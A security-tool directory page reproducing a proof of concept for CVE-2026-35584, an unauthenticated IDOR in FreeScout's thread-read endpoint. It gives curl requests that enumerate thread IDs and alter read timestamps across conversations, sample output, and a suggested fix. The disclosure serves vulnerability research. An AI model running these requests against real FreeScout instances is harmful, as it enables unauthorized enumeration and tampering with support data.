Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-35584 — Proof-of-concept exploit for an unauthenticated IDOR vulnerability in FreeScout that allows thread enumeration and manipulation of read status via crafted HTTP requests. | Kitploit
Tools/GitHubGitHub/spoo1k/cve-2026-35584
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubspoo1k/cve-2026-35584

CVE-2026-35584

Proof-of-concept exploit for an unauthenticated IDOR vulnerability in FreeScout that allows thread enumeration and manipulation of read status via crafted HTTP requests.

View Repository
115 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-35584

POC - CVE-2026-35584 FreeScout

Description

Summary

The endpoint GET /thread/read/{conversation_id}/{thread_id} does not require authentication and does not validate whether the given thread_id belongs to the given conversation_id. This allows any unauthenticated attacker to:

Mark any thread as read by passing arbitrary IDs Enumerate valid thread IDs via HTTP response codes (200 vs 404) Manipulate opened_at timestamps across conversations (IDOR)

Affected Version
1.8.211 (latest)

Steps to Reproduce

Create two conversations (conv_id=1 and conv_id=2) Create a thread in conversation 2 (thread_id=3) Without any authentication, send: GET /thread/read/1/3 Verify in the database — opened_at of thread_id=3 is now set, despite being accessed via the wrong conversation_id

PoC

curl -v "http://TARGET/thread/read/1/3"

Returns HTTP 200 and sets opened_at on thread 3

Impact

No authentication required IDOR: thread_id is not validated against conversation_id Thread enumeration: HTTP 200 = valid thread, 404 = invalid Manipulation of read/unread metrics used by support agents Breaks conversation isolation model

Suggested Fix

if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}

PoC Output

Thread enumeration (unauthenticated)

curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (valid thread)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (valid thread)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - thread belongs to conversation 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (invalid thread)

Database state after exploitation

Before: | id | conversation_id | opened_at | | 3 | 2 | NULL |

After GET /thread/read/1/3 (no auth): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |

Download Tool